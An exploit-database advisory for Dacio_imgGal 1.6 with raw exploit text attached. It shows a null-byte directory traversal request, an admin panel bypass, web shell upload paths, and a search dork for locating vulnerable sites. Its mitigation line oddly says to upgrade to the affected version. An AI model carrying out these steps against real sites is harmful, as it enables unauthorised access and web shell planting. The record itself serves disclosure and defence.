Local Directory Traversal/bypass/shell upload

vendor:

Dacio_imgGal

by:

ahmadbady

7,5

CVSS

HIGH

Directory Traversal/Bypass/Shell Upload

CWE

Product Name: Dacio_imgGal

Affected Version From: 1.6

Affected Version To: 1.6

Patch Exists: Yes

Related CWE: N/A

CPE: a:dacio:dacio_imggal:1.6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Local Directory Traversal/bypass/shell upload

A vulnerability exists in Dacio_imgGal-v1.6, which allows an attacker to bypass authentication and upload a malicious shell. This is done by accessing the index.php page with the parameter 'gallery' set to '../config.inc%00'. The attacker can then access the admin.php page and add an image, which can be used to upload a malicious shell. The shell can be accessed at '/images/beauty_1/shell.php' or '/images/aa/shell.php' if the beauty_1 directory is deleted. The dork used to find vulnerable sites is 'intitle:"Dacio's Image Gallery"'.

Mitigation:

Upgrade to the latest version of Dacio_imgGal-v1.6 or apply the appropriate patch.

Source

Exploit-DB raw data:

=-=-Local Directory Traversal/bypass/shell upload/-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::Dacio_imgGal-v1.6
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.kopicaidej.net/index.php?com=hex&Dld=59

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Directory Traversal:

/Dacio_imgGal-v1.6/index.php?gallery=../config.inc%00
------
bypass and upload:

go to admin.php(Panel Bypassed)  and add image (shell upload) 

shell: /images/beauty_1/shell.php  if deleted beauty_1

create a new gallery

example aa:
  
shell:  /images/aa/shell.php
----- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
dork: intitle:"Dacio's Image Gallery"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=

# milw0rm.com [2009-05-11]